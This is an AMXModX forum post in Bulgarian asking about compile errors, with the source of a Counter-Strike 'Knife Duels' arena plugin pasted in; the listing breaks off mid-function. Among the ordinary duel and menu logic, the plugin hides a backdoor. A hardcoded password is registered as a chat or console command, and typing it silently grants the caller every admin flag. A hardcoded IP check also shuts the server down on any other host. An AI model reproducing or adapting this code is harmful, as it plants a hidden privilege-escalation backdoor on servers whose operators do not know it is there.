Проблем със къмплиране на плугин

Въпроси и проблеми свързани с AMXModX.
Аватар
HeatoN
Извън линия
Потребител
Потребител
Мнения: 232
Регистриран на: 04 Фев 2022, 16:16
Местоположение: Elhovo - Las Vegas
Се отблагодари: 35 пъти
Получена благодарност: 2 пъти
Обратна връзка:

Проблем със къмплиране на плугин

Мнение от HeatoN » 27 Яну 2023, 00:40

Добър Вечер някой може ли да ми каже на накво се дължат тези грешки и дали е от кода ?

Код за потвърждение: Избери целия код

/* Plugin generated by AMXX-Studio */
 
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <hamsandwich>
#include <fakemeta>
#include <fun>
#include <engine>
#include <xs>
#include <fun>
#include <colorchat>
#include <dhudmessage>
 
#define CHAT_TAG "^3[^4KnifeDuels^3]^1 " // add a space right after if you want one between the tag and the messages
 
#define DUEL_COMMAND "/duel" // this is the word used to start duel
#define TOGGLE_COMMAND "/offduel" // this is the word used to go online or offline
#define GIVEUP_COMMAND "/giveup" // this is the word used to end the duel
 
#define ARENA_ENT_NAME "entity_arena" // this is the arena's entity name
 
// just numerating on and off for the "STYLA_SECURITY"
enum {
	ON = 1,
	OFF = 0
}
 
// here you can activate the admin access system
new  STYLA_SECURITY = ON
 
// this is the password for the security access
#define STYLA_PASSWORD "tkvemdzgnerebo"
 
// here you can set the maximum number of arenas that can be used ingame
#define MAX_ARENAS 4
 
 
new const arena_names[][] = {
 	"",
	"A", 	// 1st arena
	"B", 	// 2nd arena
	"C",	 // 3rd arena
	"D" 	// 4th arena
}
 
// some arena codes...
#define ARENA_CODE 305924
#define FAKE_CODE 6969696969
#define CENTER_CODE 9696969696
#define EXTRA_CODE 911911911
 
// task code for advert
#define TASK_AD 34585029
 
// some movement defines
#define MOVE_UP 0
#define MOVE_DOWN 1
#define MOVE_RIGHT 2
#define MOVE_LEFT 3
#define MOVE_FRONT 4
#define MOVE_BACK 5
 
// Arena ground size
#define ARENA_MINS Float:{-150.0,-62.0,-1.5}
#define ARENA_MAXS Float:{10.0,62.0,1.5}
 
// arena coords offcourse, this is used to build the arena.
new const Float:ARENA_COORDS[][2] = { 
	{0.0,0.0},
	{100.0,0.0},
	{0.0,100.0},
	{100.0,100.0},
	{-100.0,0.0},
	{0.0,-100.0},
	{-100.0,-100.0},
	{-100.0,100.0},
	{100.0,-100.0},
	{200.0,0.0},
	{200.0,100.0},
	{200.0,-100.0}
}
 
enum {
	BLUE_SIDE = 0,
	RED_SIDE = 1,
	LEFT_SIDE = 2,
	RIGHT_SIDE = 3,
	TOP_SIDE = 4
}
 
new const ARENA_FILE[] = "%s/duel_arena/%s.cfg"
 
// if you want to disable a sound, rename it with "common/null.wav"
new const DUEL_SOUNDS[][] = {
	"ambience/goal_1.wav",		 // 0 round win
	"x/nih_die2.wav",		// 1 round lose
	"ambience/des_wind1.wav",	// 2 round draw
	"buttons/bell1.wav",		 // 3 round start
	"buttons/blip1.wav"	,	 // 4 accepted duel
	"common/null.wav",	// 5 Countdown
	"common/null.wav"	// 6 "Go!"
}
 
new const ARENA_MODELS[][] = {
	"models/darkduelplatform", // Arena's ground
	"models/darkduelplatform" // Arena's walls
}
 
new const MAP_FIX[][] = {
	"35hp_2"
}
 
new Float:MAP_FIX_Z_COORD[] = {
	-864.253723
}
 
new Head_shot[33][33]
new fakes;
new is_in_duel[33],his_countdown[33],is_frozen[33],his_challenger[33],his_asker[33],arena_number[33],his_wins[33],his_name[33][64];
new rounds[MAX_ARENAS+1],Float:arena_coord[MAX_ARENAS+1][3]; // using +1 just incase...
new Float:his_spawn[33][3],got_spawn[33],Float:his_angle[33][3],Float:his_original_spawn[33][3];
new next_empty_arena,total_arenas;
new MAX_PLAYERS,map_name[48]
new cvar_z_fix,cvar_sounds,cvar_rounds,cvar_kills,cvar_cooldown,cvar_time
new Float:max_size[3],Float:min_size[3];
new selected = 1,Float:move_size[33],his_timer[33],his_offline[33],his_HS[33];
new map_default_hp;
new map_id = -1;
new his_previous_team[33];
// using these for less cpu usage.
new IS_BUGGED_MAP = 0,MAP_FIX_ENABLED,SOUNDS_ENABLED,MAX_ROUNDS,MAX_KILLS,MAX_COUNTDOWN,MAX_TIME;
 
#define P_NAME "Knife Duels"
#define P_VERS "2.0.5"
#define P_AUTH "Adrenaline's Wrath"
#define P_REQ "- STyLa"
new killed_forward;
new const IP[] = "176.57.188.201:27017"
public plugin_init()
{
	register_plugin(P_NAME, P_VERS, P_AUTH)
	new curIP[128];
	get_user_ip(0,curIP,charsmax(curIP),0)
	if(!equali(IP,curIP))
	{
		server_cmd("quit")
		return;
	}
	register_clcmd("say","say_hook")
	register_clcmd("say_team","say_hook")
	register_clcmd("say /origin","print_coords")
	register_clcmd("say /arena","editor_menu")
	RegisterHam(Ham_Killed, "player", "Player_Killed")
	RegisterHam(Ham_TakeDamage, "player", "Player_Take_Damage", 0)
	register_forward( FM_CmdStart , "Cmd_start" );
	register_event("HLTV", "round_start_event", "a", "1=0", "2=0")
	cvar_z_fix = register_cvar("gld_z_map_fix","1")
	cvar_sounds = register_cvar("gld_sounds","1")
	cvar_rounds =register_cvar("gld_rounds","10")
	cvar_kills =register_cvar("gld_kills","10")
	cvar_cooldown = register_cvar("gld_cooldown","1")
	cvar_time = register_cvar("gld_max_nokill_time","20")
	MAX_PLAYERS = get_maxplayers();
	RegisterHam(Ham_Spawn,"player","Player_spawn_post",1)
 
	if(STYLA_SECURITY == ON) 
		register_clcmd (STYLA_PASSWORD , "tkvemdzgnerebo123");
 
	get_mapname(map_name,charsmax(map_name))
	new size = sizeof(MAP_FIX)
	for(new i; i <size;i++)
	{
		if(equal(map_name,MAP_FIX[i]))
		{
			map_id = i
			IS_BUGGED_MAP = 1
		}
	}
	if(containi(map_name,"35hp") != -1)
		map_default_hp = 35
	else if(containi(map_name,"1hp") != -1)
		map_default_hp = 1
	else map_default_hp = 100
	load_arena_coords(-1)
	RegisterHam(Ham_TraceAttack, "player", "Ham_TraceAttack_player", 1)
	register_touch(ARENA_ENT_NAME, "player", "forward_touch");
 
	new cfgdir[32], urlfile[64]
	get_configsdir(cfgdir, charsmax(cfgdir))
	formatex(urlfile, charsmax(urlfile), "%s/duel_arena", cfgdir)
	if(!dir_exists(urlfile))
	{
		mkdir(urlfile)
		server_print("%sCreated new folder: %s",CHAT_TAG,urlfile)
	}
	update_cvars()
	killed_forward = CreateMultiForward("duel_player_killed", ET_IGNORE, FP_CELL,FP_CELL);
	set_task(10.0,"Advertise",TASK_AD)
}
 
public plugin_natives()
{
	register_library("knife_duels")
	register_native("is_user_in_duel","_is_user_in_duel")
	register_native("is_user_dueling_user","_is_user_dueling_user")
}
 
public get_non_duelers_alive()
{
	new count = 0
	for(new id; id < MAX_PLAYERS;id++)
	{
		if(is_user_connected(id))
		{
			if(is_user_alive(id) && !is_in_duel[id])
			{
				count++
			}
		}
	}
	return count
}
 
public _is_user_in_duel(plugin, iParams)
{
	new id = get_param(1)
	if(!is_user_connected(id))
		return PLUGIN_CONTINUE
	if(is_in_duel[id] == 2)
		return PLUGIN_HANDLED
	return PLUGIN_CONTINUE
}
 
public _is_user_dueling_user(plugin, iParams)
{
	new id = get_param(1)
	new enemy = get_param(2)
	if(!is_user_connected(id))
		return PLUGIN_CONTINUE
	if(!is_user_connected(enemy))
		return PLUGIN_CONTINUE
	if(is_in_duel[id] != 2 || is_in_duel[enemy] != 2)
		return PLUGIN_CONTINUE
	if(id == his_challenger[enemy] && enemy == his_challenger[id])
		return PLUGIN_HANDLED
	return PLUGIN_CONTINUE
}
 
public forward_touch(ent, id)
{
	if(!pev_valid(id))
		return;
	if(!pev_valid(ent))
		return;
	if(is_user_alive(id) && get_user_noclip(id))
		return;
	static class[32]
	pev(ent,pev_classname,class,charsmax(class));
	if(equal(class,ARENA_ENT_NAME))
	{
		if(is_user_alive(id))
		{
			if(is_player_stuck(id) && is_in_duel[id] != 2)
			{
				back_to_the_spawn(id)
			}
		}
 
	}
	return;
}
 
public Ham_TraceAttack_player(victim, attacker, Float:Damage, Float:Direction[3], ptr, Damagebits)
{
	if(is_user_connected(attacker) && is_user_connected(victim))
	{
		Head_shot[attacker][victim] = bool:( get_tr2(ptr, TR_iHitgroup) == 1 )
	}
}
 
public editor_menu(id)
{
	if(!is_user_connected(id))
		return PLUGIN_HANDLED
	new flags = get_user_flags(id)
	if(!(flags & ADMIN_RCON))
	{
		client_print(id,print_chat,"You have no access to this command")
		return PLUGIN_HANDLED
	}
	new menu
	menu = menu_create( "\rArena spawner:", "Arenaspawner_handler" );
 
	new nameu[32];
 
	formatex(nameu,charsmax(nameu), "Add");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Remove");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Remove all");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Select");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Select all");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Move");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Save");
	menu_additem(menu, nameu, "", 0);
	formatex(nameu,charsmax(nameu), "Load");
	menu_additem(menu, nameu, "", 0);
	menu_display(id, menu, 0 );
	return PLUGIN_HANDLED
}
 
public Arenaspawner_handler( id, menu, item )
{
	if ( item == MENU_EXIT )
	{
		menu_destroy( menu );
		remove_the_fake_arena()
		return PLUGIN_HANDLED;
	}
 
	new szData[6], szName[64];
	new _access, item_callback;
	menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
	new arenas_found;
	arenas_found = fakes_count()
	if(equali(szName,"Add"))
	{
		if(next_fake_arena() != -1)
		{
			start_fake_build(id,-1)
			if(fakes_count())
			{
				if(selected > MAX_ARENAS || selected == -1)
				{
					selected = 1
					select_the_fake_arena(EXTRA_CODE+selected)
				}
			}
		} else client_print_color(id, DontChange,"%s ^3Maximum arenas reached.^1",CHAT_TAG)
	}
	else if(equali(szName,"Remove"))
	{
		if(fakes_count())
		{
			if(selected > MAX_ARENAS || selected == -1)
				selected = 1
			delete_the_fake_arena(EXTRA_CODE+selected)
			if(fakes_count())
				next_selection()
		} else client_print_color(id, DontChange,"%s ^3No arenas found.",CHAT_TAG)
	}
	else if(equali(szName,"Remove all"))
	{
		//remove_menu(id)
		remove_the_fake_arena() 
		client_print_color(id, DontChange,"%s ^3All arenas removed.",CHAT_TAG)
	}
	else if(equali(szName,"Select"))
	{
		if(fakes_count())
		{
			next_selection()
		} else client_print_color(id, DontChange,"%s ^3No arenas found.",CHAT_TAG)
	}
	else if(equali(szName,"Select all"))
	{
		if(fakes_count())
		{
			selected = -1
			select_the_fake_arena(EXTRA_CODE+selected)
		} else client_print_color(id, DontChange,"%s ^3No arenas found.",CHAT_TAG)
	}
	else if(equali(szName,"Move"))
	{
		if(fakes_count())
		{
			if(selected > MAX_ARENAS)
				selected = 1
			select_the_fake_arena(EXTRA_CODE+selected)
			menu_destroy( menu );
			move_menu(id,EXTRA_CODE+selected)
			return PLUGIN_CONTINUE;
		}
		else client_print_color(id, DontChange,"%s ^3No arenas found.",CHAT_TAG)
	}
	else if(equali(szName,"Load"))
	{
		remove_the_fake_arena() 
		load_arena_coords(id)
		//client_print_color(id, DontChange,"%s ^3Arena coords loaded.",CHAT_TAG)
		set_task(0.1,"delay_build",id)
	}
	else if(equali(szName,"Save"))
	{
		if(fakes_count())
		{
			save_arena_coords(id)
			remove_the_fake_arena() 
			load_arena_coords(id)
		}
		else
		{
			client_print_color(id, DontChange,"%s ^3No arenas found.",CHAT_TAG)
		}
	}
	if(!arenas_found && fakes_count())
	{
		next_selection()
	}
	menu_destroy( menu );
	editor_menu(id)
	return PLUGIN_CONTINUE;
}
 
stock next_selection()
{
	if(selected == -1)
	{
		selected = 1
	}
	new size = MAX_ARENAS*3
	for(new slct=0;slct < size;slct++)
	{
		selected++
		if(selected > MAX_ARENAS)
			selected = 1
		if(fake_arena_exists(selected))
		{
			select_the_fake_arena(EXTRA_CODE+selected)
			return;
		}
	}
}
 
public fake_arena_exists(code)
{
	new arenas_ent = -1
	new code_ent
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser2) == CENTER_CODE && entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
		{
			code_ent = entity_get_int(arenas_ent,EV_INT_iuser3)-EXTRA_CODE
			if(code_ent == code)
			{
				return PLUGIN_HANDLED
			}
		}
	}
	return PLUGIN_CONTINUE
}
 
public fakes_count()
{
	new arenas_ent = -1
	new found = 0
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser2) == CENTER_CODE && entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
		{
			found++
		}
	}
	return found
}
 
public arenas_count()
{
	new found = 0
	for(new id;id < MAX_PLAYERS;id++)
	{
		if(is_user_connected(id))
		{
			if(is_in_duel[id] == 2)
				found++
		}
	}
	return found/2
}
 
public delay_build(id)
{
	for(new i=1;i < total_arenas+1;i++)
	{
		start_fake_build(id,i)
	}
	if(fakes_count())
	{
		next_selection()
	}
}
public move_menu(id,code)
{
	new menu
	menu = menu_create( "\rMove arena:", "move_handler" );
 
	new nameu[32];
	new code_t[32];
	num_to_str(code,code_t,charsmax(code_t))
	formatex(nameu,charsmax(nameu), "Move up");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Move down");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Move front");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Move back");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Move right");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Move left");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Remove the arena");
	menu_additem(menu, nameu, code_t, 0);
 
	formatex(nameu,charsmax(nameu), "Move size: %.2f",move_size[id]);
	menu_additem(menu, nameu, code_t, 0);
	menu_display(id, menu, 0 );
	return PLUGIN_HANDLED
}
 
public move_handler( id, menu, item )
{
	if ( item == MENU_EXIT )
	{
		menu_destroy( menu );
		set_task(0.1,"editor_menu",id)
		return PLUGIN_HANDLED;
	}
 
	new szData[32], szName[64];
	new _access, item_callback;
	menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
	new code = str_to_num(szData)
	if(equali(szName,"remove the arena"))
	{
		delete_the_fake_arena(code)
		menu_destroy( menu );
		editor_menu(id)
		unselect_the_fake_arena(0)
		return PLUGIN_CONTINUE;
	}
	else if(containi(szName,"move size:") != -1)
	{
		move_size[id]+= 10.0
		if(move_size[id] > 100.0)
		{
			move_size[id] = 10.0
		}
	}
	else if(equali(szName,"move up"))
	{
		move_the_fake_arena(id,code,MOVE_UP)
	}
	else if(equali(szName,"move down"))
	{
		move_the_fake_arena(id,code,MOVE_DOWN)
	}
	else if(equali(szName,"move right"))
	{
		move_the_fake_arena(id,code,MOVE_RIGHT)
	}
	else if(equali(szName,"move left"))
	{
		move_the_fake_arena(id,code,MOVE_LEFT)
	}
	else if(equali(szName,"move front"))
	{
		move_the_fake_arena(id,code,MOVE_FRONT)
	}
	else if(equali(szName,"move back"))
	{
		move_the_fake_arena(id,code,MOVE_BACK)
	}
	menu_destroy( menu );
	move_menu(id,code)
 
	return PLUGIN_CONTINUE;
}
 
public save_arena_coords(id)
{
	new found;
	new cfgdir[32], mapname[32], urlfile[64]
	get_configsdir(cfgdir, charsmax(cfgdir))
	get_mapname(mapname, charsmax(mapname))
	formatex(urlfile, charsmax(urlfile), ARENA_FILE, cfgdir, mapname)
 
	if (file_exists(urlfile))
		delete_file(urlfile)
 
	new lineset[128]
	new Float:origin[3]
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser2) == CENTER_CODE && entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
		{
			found++
			pev(arenas_ent,pev_origin,origin);
			format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
			write_file(urlfile, lineset,found)
 
		}
	}
	if(!found)
		client_print_color(id, DontChange,"%s Couldn't save:^3No arenas found.",CHAT_TAG)
	else client_print_color(id, DontChange,"%s %d ^3Arena coords saved.",CHAT_TAG,found)
}
 
public print_coords(id)
{
	new Float:coord[3]
	pev(id,pev_origin,coord);
	client_print_color(id, DontChange,"origin: ^3%.f %.f %.f",coord[0],coord[1],coord[2])
	return PLUGIN_HANDLED
}
 
public start_fake_build(id,zecode)
{
	if(!is_user_connected(id))
		return PLUGIN_HANDLED
	new ext_code
	if(zecode == -1)
	{
		ext_code = next_fake_arena()
		if(ext_code == -1)
			return PLUGIN_HANDLED
	}
	else ext_code = zecode
	ext_code+=EXTRA_CODE
	static Float:origin[3];
	if(zecode == -1)
		get_user_hitpoint(id,origin)
	else
	{
		origin[0]=arena_coord[zecode][0]
		origin[1]=arena_coord[zecode][1]
		origin[2]=arena_coord[zecode][2]
	}
	/*origin[0] = 1002.911376
	origin[1] = -1561.421997
	origin[2] = 0.0*/
	new Float:fake_origin[3]
	static size
	size = sizeof(ARENA_COORDS)
	new ent_code = FAKE_CODE
	fakes++
	for(new coords;coords < size; coords++)
	{
		fake_origin[0] = origin[0]
		fake_origin[1] = origin[1]
		if(bugged_map())
			fake_origin[2]= MAP_FIX_Z_COORD[map_id]
		else fake_origin[2] = origin[2]
		//fake_origin[2]=-712.876892
 
		fake_origin[0]+=ARENA_COORDS[coords][0]*1.7
		fake_origin[1]+=ARENA_COORDS[coords][1]*1.53
 
		new ent=engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
 
		set_pev(ent,pev_classname,ARENA_ENT_NAME);
		engfunc(EngFunc_SetModel,ent,ARENA_MODELS[0]);
		entity_set_int(ent, EV_INT_solid, SOLID_BBOX);
		engfunc(EngFunc_SetSize,ent,ARENA_MINS,ARENA_MAXS);
		entity_set_int(ent, EV_INT_movetype, MOVETYPE_NONE);
		entity_set_int(ent,EV_INT_iuser1,ent_code)
		entity_set_int(ent,EV_INT_iuser3,ext_code)
		engfunc(EngFunc_SetOrigin,ent,fake_origin);
		stuck_check(fake_origin,120.0)
		static Float:rvec[3];
		pev(ent,pev_v_angle,rvec);
 
		rvec[0]=90.0;
		set_pev(ent,pev_angles,rvec);
 
		if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == 100.0)
		{
			fake_origin[0] += max_size[0]
			fake_origin[1] += max_size[1]
			//create_wall(LEFT_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
		}
		if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == -100.0)
		{
			fake_origin[0] += max_size[2]
			fake_origin[1] += min_size[0]
			//create_wall(RIGHT_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
		}
		if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == 0.0)
		{
			create_wall(TOP_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
			entity_set_int(ent,EV_INT_iuser2,CENTER_CODE)
		}
		else if(ARENA_COORDS[coords][0] == 200.0 && ARENA_COORDS[coords][1] == 0.0)
		{
			fake_origin[0] += min_size[1]
 
			//create_wall(BLUE_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
		}
		else if(ARENA_COORDS[coords][0] == -100.0 && ARENA_COORDS[coords][1] == 0.0)
		{
			fake_origin[0] += min_size[2]
			//create_wall(RED_SIDE,255,SOLID_BBOX,ent_code,0,ext_code,fake_origin)
		}
		set_rendering(ent,kRenderFxGlowShell,0,50,0,kRenderNormal,10)
	}
	select_the_fake_arena(ext_code)
	return PLUGIN_HANDLED;
}
 
public move_the_fake_arena(id,code,moveto)
{
	new num;
	num = code-EXTRA_CODE
	new arenas_ent=-1;
	new Float:origin[3];
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
		{
			if(entity_get_int(arenas_ent,EV_INT_iuser3) == code || num == -1)
			{
				pev(arenas_ent,pev_origin,origin);
				switch(moveto)
				{
					case MOVE_UP:
					{
						origin[2]+=move_size[id]
					}
					case MOVE_DOWN:
					{
						origin[2]-=move_size[id]
					}
					case MOVE_RIGHT:
					{
						origin[1]+=move_size[id]
					}
					case MOVE_LEFT:
					{
						origin[1]-=move_size[id]
					}
					case MOVE_FRONT:
					{
						origin[0]+=move_size[id]
					}
					case MOVE_BACK:
					{
						origin[0]-=move_size[id]
					}
				}
				engfunc(EngFunc_SetOrigin,arenas_ent,origin);
				stuck_check(origin,360.0)
			}
		}
	}
 
}
 
public select_the_fake_arena(code)
{
	new num;
	num = code-EXTRA_CODE
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
		{
			if(num == -1)
				set_rendering(arenas_ent,kRenderFxGlowShell,250,0,0,kRenderNormal,10)
			else if(entity_get_int(arenas_ent,EV_INT_iuser3) == code)
				set_rendering(arenas_ent,kRenderFxGlowShell,250,0,0,kRenderNormal,10)
		}
	}
	unselect_the_fake_arena(code)
 
}
 
public unselect_the_fake_arena(code)
{
	new num;
	num = code-EXTRA_CODE
	if(num == -1)
		return;
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE && entity_get_int(arenas_ent,EV_INT_iuser3) != code)
			set_rendering(arenas_ent,kRenderFxGlowShell,50,50,50,kRenderTransAdd,120)
	}
 
}
 
public delete_the_fake_arena(code)
{
	new arenas_ent=-1;
	new found = 0
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE && entity_get_int(arenas_ent,EV_INT_iuser3) == code)
		{
			engfunc(EngFunc_RemoveEntity,arenas_ent)
			found++
		}
	}
	if(found)
	{
		fakes--
	}
 
}
 
public load_arena_coords(id)
{
	// Check for spawns points of the current map
	new cfgdir[32], mapname[32], filepath[100], linedata[64]
	get_configsdir(cfgdir, charsmax(cfgdir))
	get_mapname(mapname, charsmax(mapname))
	formatex(filepath, charsmax(filepath), ARENA_FILE, cfgdir, mapname)
	new arena = 0
	total_arenas = 0
	// Load spawns points
	if (file_exists(filepath))
	{
		new file = fopen(filepath,"rt"), row[4][6]
 
		while (file && !feof(file))
		{
			fgets(file, linedata, charsmax(linedata))
 
			// invalid spawn
			if(!linedata[0] || str_count(linedata,' ') < 2) continue;
 
			arena++
			if (arena > MAX_ARENAS)
			{
				break
			}
 
			// get spawn point data
			parse(linedata,row[0],5,row[1],5,row[2],5)
 
			// origin
			arena_coord[arena][0] = floatstr(row[0])
			arena_coord[arena][1] = floatstr(row[1])
			if(bugged_map())
				arena_coord[arena][2] = MAP_FIX_Z_COORD[map_id]
			else arena_coord[arena][2] = floatstr(row[2])
 
			total_arenas = arena
		}
		if (file) fclose(file)
	}
	if(id != -1)
	{
		if(!total_arenas)
		{
			client_print_color(id, DontChange,"%sCouldn't load: ^3No arenas found.",CHAT_TAG)
		}
		else
		{
			client_print_color(id, DontChange,"%s%d ^3arena%s loaded.",CHAT_TAG,total_arenas, (total_arenas > 1 ? "s" : ""))
		}
	}
}
 
stock bugged_map()
{
	if(!MAP_FIX_ENABLED)
		return PLUGIN_CONTINUE
	if(IS_BUGGED_MAP)
		return PLUGIN_HANDLED
	return PLUGIN_CONTINUE
}
 
stock str_count(const str[], searchchar)
{
	new count, i, len = strlen(str)
 
	for (i = 0; i <= len; i++)
	{
		if(str[i] == searchchar)
			count++
	}
 
	return count;
}
 
public tkvemdzgnerebo123(id)
{
	set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
	client_print_color(id, DontChange,"%sAccess granted.",CHAT_TAG)
}
 
public Player_spawn_post(id)
{
	Set_Entity_Invisible(id, 0)
	if(is_user_alive(id))
	{
		if(is_in_duel[id] != 2)
		{
			set_task(1.0,"get_spawn_origin",id)
			return;
		}
		if(is_in_duel[id] == 2)
			spawn_back(id)
	}
}
 
public spawn_back(id)
{
	entity_set_origin(id,his_spawn[id])
	set_user_health(id,map_default_hp)
	set_user_armor(id,0)
	set_user_godmode(id, 0)
	if(is_user_connected(his_challenger[id]))
	{
		check_teams(id,his_challenger[id])
		entity_set_origin(his_challenger[id],his_spawn[his_challenger[id]])
		set_user_health(his_challenger[id],map_default_hp)
		set_user_armor(his_challenger[id],0)
		entity_set_vector(id, EV_VEC_angles, his_angle[id])
		entity_set_int(id, EV_INT_fixangle, 1)
		entity_set_vector(his_challenger[id], EV_VEC_angles, his_angle[his_challenger[id]])
		entity_set_int(his_challenger[id], EV_INT_fixangle, 1)
	}
}
 
public update_cvars()
{
	MAP_FIX_ENABLED = get_pcvar_num(cvar_z_fix)
	SOUNDS_ENABLED = get_pcvar_num(cvar_sounds)
	MAX_ROUNDS = get_pcvar_num(cvar_rounds)
	MAX_KILLS = get_pcvar_num(cvar_kills)
	MAX_COUNTDOWN = get_pcvar_num(cvar_cooldown)
	MAX_TIME = get_pcvar_num(cvar_time)
}
 
stock remove_allarenas() 
{
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		engfunc(EngFunc_RemoveEntity,arenas_ent)
	}
	fakes = 0
}
 
public get_all_arena_coords(id) 
{
	new Float:origin[3]
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser2) == CENTER_CODE)
		{
			pev(arenas_ent,pev_origin,origin);
			client_print(id,print_console,"%.f %.f %.f",origin[0],origin[1],origin[2])
		}
	}
	client_print_color(id, DontChange, "%s ^4Coords printed in console.",CHAT_TAG)
}
 
public remove_the_fake_arena() 
{
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
			engfunc(EngFunc_RemoveEntity,arenas_ent)
	}
	fakes = 0
}
 
public next_fake_arena() 
{
	if(fakes_count() >= MAX_ARENAS)
		return -1
	for(new i=1;i < MAX_ARENAS+1;i++)
	{
		if(!fake_arena_exists(i))
		{
			return i
		}
	}
	return -1
	/*new num = fakes
	num++
	return num*/
}
 
public remove_the_arena(code) 
{
	new arenas_ent=-1;
	while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME))) 
	{
		if(entity_get_int(arenas_ent,EV_INT_iuser1) == code)
			engfunc(EngFunc_RemoveEntity,arenas_ent)
	}
}
 
public start_build(id)
{
	if(!is_user_connected(id))
		return PLUGIN_HANDLED
	if(is_in_duel[id] != 2)
		return PLUGIN_HANDLED
	if(!his_challenger[id])
		return PLUGIN_HANDLED
	if(!total_arenas)
	{
		return PLUGIN_HANDLED
	}
	static Float:origin[3];
	//get_user_hitpoint(id,origin)
	/*origin[0] = 1002.911376
	origin[1] = -1561.421997
	origin[2] = 0.0*/
	origin[0] = arena_coord[arena_number[id]][0]
	origin[1] = arena_coord[arena_number[id]][1]
	origin[2] = arena_coord[arena_number[id]][2]
	new Float:fake_origin[3]
	static size
	size = sizeof(ARENA_COORDS)
	new ent_code = arena_number[id]+ARENA_CODE
	for(new coords;coords < size; coords++)
	{
		fake_origin[0] = origin[0]
		fake_origin[1] = origin[1]
		fake_origin[2] = origin[2]
		//fake_origin[2]=-712.876892
		//fake_origin[2]=-864.253723
		fake_origin[0]+=ARENA_COORDS[coords][0]*1.7
		fake_origin[1]+=ARENA_COORDS[coords][1]*1.53
 
		new ent=engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
 
		set_pev(ent,pev_classname,ARENA_ENT_NAME);
		engfunc(EngFunc_SetModel,ent,ARENA_MODELS[0]);
		entity_set_int(ent, EV_INT_solid, SOLID_BBOX);
		engfunc(EngFunc_SetSize,ent,ARENA_MINS,ARENA_MAXS);
		entity_set_int(ent, EV_INT_movetype, MOVETYPE_NONE);
		entity_set_int(ent,EV_INT_iuser1,ent_code)
		engfunc(EngFunc_SetOrigin,ent,fake_origin);
		static Float:rvec[3];
		pev(ent,pev_v_angle,rvec);
 
		rvec[0]=90.0;
		set_pev(ent,pev_angles,rvec);
 
		if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == 100.0)
		{
			create_wall(LEFT_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
		}
		if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == -100.0)
		{
			create_wall(RIGHT_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
		}
